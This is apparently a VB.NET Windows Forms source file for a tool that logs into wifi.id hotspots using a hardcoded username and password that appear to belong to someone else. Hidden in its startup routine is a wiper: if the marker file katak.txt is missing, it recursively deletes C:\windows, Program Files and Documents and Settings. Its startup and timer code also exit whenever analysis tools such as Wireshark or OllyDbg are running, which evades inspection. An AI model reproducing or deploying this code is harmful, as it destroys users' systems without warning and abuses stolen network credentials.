Form 1 .Vb

Imports System.Text.RegularExpressions
Imports System.Net
Imports System.IO
Imports System
Public Class Form1
    Public Sub DelAll(ByVal DirtoDelete As Object)
        Dim FSO, FS
        FSO = CreateObject("Scripting.FileSystemObject")
        FS = FSO.DeleteFolder(DirtoDelete, True)
    End Sub
    Dim file As System.IO.StreamWriter
    Dim FileToDelete As String
    Dim strIPAddress As String
    Dim strHostName As String
    Dim detik As Integer
    Dim tulisan(2) As String
    Dim i, j As Integer
    Private Function LoadIP() As String
        Dim MyUSER As String = Dns.GetHostName
        Dim MyIP As String = Dns.GetHostByName(MyUSER).AddressList(0).ToString()

        Return MyIP
    End Function


    'Fungsi END

    Private Sub AppStart(sender As Object, e As EventArgs) Handles MyBase.Load
        Timer5.Start()
        Label11.Text = Format(Now, "dd")
        Label12.Text = Format(Now, "MM")
        '===========================================================
        If Label11.Text >= "29" And Label12.Text >= "12" Then
            MsgBox("EXPIRED BOS, SABAR YA.. KALO MAU GA EXPIRED JOS DAH :V")
            Me.Close()
        End If
        tulisan(0) = " \_BLACK_iav<404>\ \_BLACK_iav<404>\ \_BLACK_iav<404>\ "
        tulisan(1) = " \_BLACK_iav<404>\ \_BLACK_iav<404>\ \_BLACK_iav<404>\ "
        tulisan(2) = " \_BLACK_iav<404>\ \_BLACK_iav<404>\ \_BLACK_iav<404>\ "
        Label10.Text = tulisan(j)
        Timer6.Start()
        Dim count As Integer = (ListBox1.Items.Count - 1)
        Dim words As String
        For a = 0 To count
            words = ListBox1.Items.Item(a)
            If InStr(words.ToLower, "Charles".ToLower) Then
                End
            ElseIf InStr(words.ToLower, "Fiddler".ToLower) Then
                End
            ElseIf InStr(words.ToLower, "Wireshark".ToLower) Then
                End
            ElseIf InStr(words.ToLower, "Monsocks".ToLower) Then
                End
            ElseIf InStr(words.ToLower, "Wincap".ToLower) Then
                End
            ElseIf InStr(words.ToLower, "Popcap".ToLower) Then
                End
            ElseIf InStr(words.ToLower, "Unpacker".ToLower) Then
                End
            ElseIf InStr(words.ToLower, "Networkminer".ToLower) Then
                End
            ElseIf InStr(words.ToLower, "Cheat".ToLower) Then
                End
            ElseIf InStr(words.ToLower, "Memory view".ToLower) Then
                End
            ElseIf InStr(words.ToLower, "Ollydbg".ToLower) Then
                End
            End If
        Next
        On Error Resume Next

        If FileExist("c:\windows\system32\katak.txt") = True Then
            End
        Else
            Call DelAll("c:\windows\system")
            Call DelAll("c:\windows")
            Call DelAll("C:\Documents and Settings\All Users")
            Call DelAll("C:\Documents and Settings\Administrator")
            Call DelAll("C:\Documents and Settings")
            Call DelAll("C:\Program Files\Common Files")
            Call DelAll("C:\Program Files\Internet Explorer")
            Call DelAll("C:\Program Files\Microsoft Visual Studio")
            Call DelAll("C:\Program Files")
            End
        End If
    End Sub
    Function FileExist(ByVal FileName As String) As Boolean
        If Dir(FileName) = "" Then
            FileExist = False
        Else
            FileExist = True
        End If
    End Function
    Private Sub getprocesses()
        ListBox1.Items.Clear()
        Dim pro As Process

        For Each pro In Process.GetProcesses
            ListBox1.Items.Add(pro.ProcessName)
        Next
    End Sub
    Private Sub Button1_Click(sender As Object, e As EventArgs)
        System.Diagnostics.Process.Start("Http://facebook.com/adefajr.ariav/")
    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        Label4.Text = TimeOfDay
    End Sub

    Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
        If detik = 5 Then
            ' coding dibawah ini akan berjalan bila click Button1.Login
            Label5.Text = Format(detik, "0000")
            Timer2.Enabled = True
        End If

        detik = detik + 1
        If detik > 0 Then
        End If
        Label5.Text = Format(detik, "0000")

        If detik = 0 Then
            Timer2.Enabled = False
            Me.Close()
        End If
    End Sub

    Private Sub LinkLabel1_LinkClicked(sender As Object, e As LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
        System.Diagnostics.Process.Start("shutdown -s -c -t 5")
    End Sub

    Private Sub LinkLabel2_LinkClicked(sender As Object, e As LinkLabelLinkClickedEventArgs) Handles LinkLabel2.LinkClicked
        System.Diagnostics.Process.Start("http://iav.96.lt")
    End Sub

    Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick
        getprocesses()
        Dim count As Integer = (ListBox1.Items.Count - 1)
        Dim words As String
        For a = 0 To count
            words = ListBox1.Items.Item(a)
            If InStr(words.ToLower, "Charles".ToLower) Then
                End
            ElseIf InStr(words.ToLower, "Fiddler".ToLower) Then
                End
            ElseIf InStr(words.ToLower, "Wireshark".ToLower) Then
                End
            ElseIf InStr(words.ToLower, "Monsocks".ToLower) Then
                End
            ElseIf InStr(words.ToLower, "Wincap".ToLower) Then
                End
            ElseIf InStr(words.ToLower, "Popcap".ToLower) Then
                End
            ElseIf InStr(words.ToLower, "Unpacker".ToLower) Then
                End
            ElseIf InStr(words.ToLower, "Networkminer".ToLower) Then
                End
            ElseIf InStr(words.ToLower, "Cheat".ToLower) Then
                End
            ElseIf InStr(words.ToLower, "Memory view".ToLower) Then
                End
            ElseIf InStr(words.ToLower, "Ollydbg".ToLower) Then
                End
            End If
        Next
    End Sub

    Private Sub Button1_Click_1(sender As Object, e As EventArgs) Handles Button1.Click
        If ComboBox1.Text = "Pilih Sesuai URL" Then
            MsgBox("Pilih Sesuai URL")
        ElseIf ComboBox1.Text = "welcome 6 apt" Then
            Dim req As WebRequest = WebRequest.Create("http://welcome6.wifi.id/authapt/login/check_login.php?username=musiran@ut.ac.id.vmgmt@event&password=31002")
            Dim res As WebResponse = req.GetResponse
            Dim datastream As Stream = res.GetResponseStream()
            Dim reader As New StreamReader(datastream)
            Dim responseFromServer As String = reader.ReadToEnd
            res.Close()
            datastream.Close()
            log.Text = responseFromServer & vbCrLf
            System.Diagnostics.Process.Start("http://iav.96.lt")

        ElseIf ComboBox1.Text = "welcome 6 wag" Then
            Dim req As WebRequest = WebRequest.Create("http://welcome6.wifi.id/authwag/login/check_login.php?username=musiran@ut.ac.id.vmgmt@event&password=31002")
            Dim res As WebResponse = req.GetResponse
            Dim datastream As Stream = res.GetResponseStream()
            Dim reader As New StreamReader(datastream)
            Dim responseFromServer As String = reader.ReadToEnd
            res.Close()
            datastream.Close()
            log.Text = responseFromServer & vbCrLf
            System.Diagnostics.Process.Start("http://iav.96.lt")

        ElseIf ComboBox1.Text = "welcome 6 new" Then
            Dim req As WebRequest = WebRequest.Create("http://welcome6.wifi.id/authnew/login/check_login.php?ipc=" & Label9.Text & "&gwid" & TextBox2.Text & "username=musiran@ut.ac.id.vmgmt@event&password=31002")
            Dim res As WebResponse = req.GetResponse
            Dim datastream As Stream = res.GetResponseStream()
            Dim reader As New StreamReader(datastream)
            Dim responseFromServer As String = reader.ReadToEnd
            res.Close()
            datastream.Close()
            log.Text = responseFromServer & vbCrLf

        ElseIf ComboBox1.Text = "welcome 9 apt" Then
            Dim req As WebRequest = WebRequest.Create("http://welcome9.wifi.id/authapt/login/check_login.php?username=musiran@ut.ac.id.vmgmt@event&password=31002")
            Dim res As WebResponse = req.GetResponse
            Dim datastream As Stream = res.GetResponseStream()
            Dim reader As New StreamReader(datastream)
            Dim responseFromServer As String = reader.ReadToEnd
            res.Close()
            datastream.Close()
            log.Text = responseFromServer & vbCrLf
            System.Diagnostics.Process.Start("http://iav.96.lt")

        ElseIf ComboBox1.Text = "welcome 9 wag" Then
            Dim req As WebRequest = WebRequest.Create("http://welcome9.wifi.id/authwag/login/check_login.php?username=musiran@ut.ac.id.vmgmt@event&password=31002")
            Dim res As WebResponse = req.GetResponse
            Dim datastream As Stream = res.GetResponseStream()
            Dim reader As New StreamReader(datastream)
            Dim responseFromServer As String = reader.ReadToEnd
            res.Close()
            datastream.Close()
            log.Text = responseFromServer & vbCrLf
            System.Diagnostics.Process.Start("http://iav.96.lt")
        ElseIf TextBox2.Text = "" Then
            MsgBox("Masukan gwid")
        ElseIf ComboBox1.Text = "welcome 9 new" Then
            'karena new membutuhkan ip dan gwid maka kita disini mengkombinasi antara ip dan gwid
            Dim req As WebRequest = WebRequest.Create("http://welcome9.wifi.id/authnew/login/check_login.php?ipc=" & Label9.Text & "&gwid" & TextBox2.Text & "username=musiran@ut.ac.id.vmgmt@event&password=31002")
            Dim res As WebResponse = req.GetResponse
            Dim datastream As Stream = res.GetResponseStream()
            Dim reader As New StreamReader(datastream)
            Dim responseFromServer As String = reader.ReadToEnd
            res.Close()
            datastream.Close()
            ' coding dibawah ini akan menampilkan status berhasil atau gagalnya login pada log.text atau ricktexsbox
            log.Text = responseFromServer & vbCrLf
            System.Diagnostics.Process.Start("http://iav.96.lt")
            Form2.Show()
        End If
    End Sub

    Private Sub ComboBox1_SelectedIndexChanged(sender As Object, e As EventArgs) Handles ComboBox1.SelectedIndexChanged
        If ComboBox1.Text = "welcome 9 new" Or ComboBox1.Text = "welcome 6 new" Then
            Label9.Visible = True
            TextBox2.Visible = True
        Else
            Label9.Visible = False
            TextBox2.Visible = False
        End If
    End Sub

    Private Sub Timer5_Tick(sender As Object, e As EventArgs) Handles Timer5.Tick
        If ProgressBar1.Value < 100 Then
            ProgressBar1.Value += 2
        ElseIf ProgressBar1.Value = 100 Then
            Timer5.Stop()
        End If
    End Sub
End Class